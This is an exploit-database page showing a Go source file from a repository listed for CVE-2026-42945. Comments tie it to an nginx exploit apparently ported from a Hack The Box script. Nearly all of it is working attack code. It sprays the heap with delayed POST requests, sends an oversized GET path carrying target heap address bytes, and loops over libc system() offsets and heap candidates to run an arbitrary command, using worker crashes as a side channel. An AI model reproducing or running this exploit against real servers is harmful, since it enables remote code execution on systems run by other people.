Exploit databaseDownload repository ZIP
GH-b684d180dd94bbc7b641ec4c4831ec85
redcrazyghost/cve-2026-42945
Sources for CVE-2026-42945
32 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
redcrazyghost/cve-2026-42945Revision f07a64bf9a68
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
internal/rift/exploit.go
Suggested starting fileGo · 5,935 bytespackage rift
import (
"errors"
"fmt"
"io"
"net"
"os"
"strconv"
"syscall"
"time"
)
// HeapCandidate URL-safe 堆地址候选。
type HeapCandidate struct {
Index int
Offset uint64
Addr uint64
}
// ExploitConfig 与 nginx_rift_htb.py main() 循环参数对齐。
type ExploitConfig struct {
Host string
Port int
Cmd string
HeapBase uint64
LibcBase uint64
Tries int
Verbose bool
}
// ExploitResult 单次成功 exploit 的侧信道结果(非命令回显)。
type ExploitResult struct {
Success bool
LibcOffset uint64
Candidate HeapCandidate
Try int
}
// SafeHeapCandidates 过滤出低 6 字节 URL-safe 的堆候选。
func SafeHeapCandidates(heapBase uint64) []HeapCandidate {
var out []HeapCandidate
for i, off := range PrereadHeapOffsets {
addr := heapBase + off
if AddrIsSafe(addr) {
out = append(out, HeapCandidate{Index: i, Offset: off, Addr: addr})
}
}
return out
}
// RunExploit libc 偏移 × 堆候选 × tries。
// 每个堆候选使用 data_addr = cand.Addr+24 重建 body(修正 Python 固定 candidates[0] 的问题)。
func RunExploit(cfg ExploitConfig) (ExploitResult, error) {
if cfg.Tries <= 0 {
cfg.Tries = 10
}
candidates := SafeHeapCandidates(cfg.HeapBase)
if len(candidates) == 0 {
return ExploitResult{}, errors.New("no URL-safe heap candidates")
}
for _, libcOff := range LibcSystemOffsets {
systemAddr := cfg.LibcBase + libcOff
if cfg.Verbose {
fmt.Printf("[*] libc system offset 0x%x -> system 0x%x\n", libcOff, systemAddr)
fmt.Printf("[*] %d URL-safe heap candidates\n", len(candidates))
}
for _, cand := range candidates {
dataAddr := cand.Addr + 24
body, err := MakeBody(cfg.Cmd, dataAddr, systemAddr)
if err != nil {
return ExploitResult{}, fmt.Errorf("make_body: %w", err)
}
target := TargetBytes(cand.Addr)
if cfg.Verbose {
fmt.Printf("[*] candidate #%d heap+0x%x target=0x%x data=0x%x\n",
cand.Index+1, cand.Offset, cand.Addr, dataAddr)
}
for t := 0; t < cfg.Tries; t++ {
if !WaitAlive(cfg.Host, cfg.Port, 10) {
time.Sleep(2 * time.Second)
if !WaitAlive(cfg.Host, cfg.Port, 10) {
return ExploitResult{}, errors.New("target not recovering")
}
}
if cfg.Verbose {
fmt.Printf(" attempt %d/%d...\n", t+1, cfg.Tries)
}
if AttemptExploit(cfg.Host, cfg.Port, target, body) {
return ExploitResult{
Success: true,
LibcOffset: libcOff,
Candidate: cand,
Try: t + 1,
}, nil
}
time.Sleep(300 * time.Millisecond)
}
}
}
return ExploitResult{Success: false}, nil
}
// AttemptExploit 执行一轮喷堆 + 溢出触发,返回 worker 是否崩溃(侧信道)。
func AttemptExploit(host string, port int, targetBytes, body []byte) bool {
var sprays []net.Conn
for i := 0; i < NSpray; i++ {
s, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 5*time.Second)
if err != nil {
break
}
req := []byte(
"POST /spray HTTP/1.1\r\n" +
"Host: l\r\n" +
"Content-Length: " + strconv.Itoa(BodyLen) + "\r\n" +
"X-Delay: 60\r\n" +
"Connection: close\r\n\r\n",
)
req = append(req, body...)
_, _ = s.Write(req)
sprays = append(sprays, s)
time.Sleep(5 * time.Millisecond)
}
time.Sleep(200 * time.Millisecond)
a, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 5*time.Second)
if err != nil {
closeAll(sprays)
return false
}
time.Sleep(20 * time.Millisecond)
v, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 5*time.Second)
if err != nil {
closeAll(sprays)
_ = a.Close()
return false
}
time.Sleep(20 * time.Millisecond)
payload := make([]byte, 0, 349+969+len(targetBytes))
payload = append(payload, bytesRepeat('A', 349)...)
payload = append(payload, bytesRepeat('+', 969)...)
payload = append(payload, targetBytes...)
_, _ = a.Write([]byte("GET /api/" + string(payload) + " HTTP/1.1\r\nHost: localhost\r\n"))
time.Sleep(50 * time.Millisecond)
_, _ = v.Write([]byte("GET / HTTP/1.1\r\nHost: localhost\r\n"))
time.Sleep(50 * time.Millisecond)
_, _ = a.Write([]byte("X-Delay: 60\r\nConnection: close\r\n\r\n"))
time.Sleep(200 * time.Millisecond)
_ = v.Close()
time.Sleep(100 * time.Millisecond)
crashed := detectCrash(host, port, a)
closeAll(sprays)
_ = a.Close()
return crashed
}
func bytesRepeat(b byte, n int) []byte {
out := make([]byte, n)
for i := range out {
out[i] = b
}
return out
}
func detectCrash(host string, port int, attack net.Conn) bool {
_ = attack.SetWriteDeadline(time.Now().Add(2 * time.Second))
_, _ = attack.Write([]byte("X-Ping: 1\r\n"))
_ = attack.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
buf := make([]byte, 1)
n, err := attack.Read(buf)
if err == nil {
return n == 0
}
if isTimeout(err) {
check, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), 200*time.Millisecond)
if err != nil {
return true
}
defer func() { _ = check.Close() }()
_, _ = check.Write([]byte("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n"))
_ = check.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
n, err := check.Read(make([]byte, 10))
return err != nil || n == 0
}
if isConnReset(err) {
return true
}
return true
}
func isTimeout(err error) bool {
if err == nil {
return false
}
if os.IsTimeout(err) {
return true
}
var ne net.Error
return errors.As(err, &ne) && ne.Timeout()
}
func isConnReset(err error) bool {
if err == nil || errors.Is(err, io.EOF) {
return false
}
if errors.Is(err, syscall.ECONNRESET) || errors.Is(err, syscall.EPIPE) {
return true
}
var op *net.OpError
if errors.As(err, &op) {
return errors.Is(op.Err, syscall.ECONNRESET) || errors.Is(op.Err, syscall.EPIPE)
}
return false
}
func closeAll(conns []net.Conn) {
for _, c := range conns {
_ = c.Close()
}
}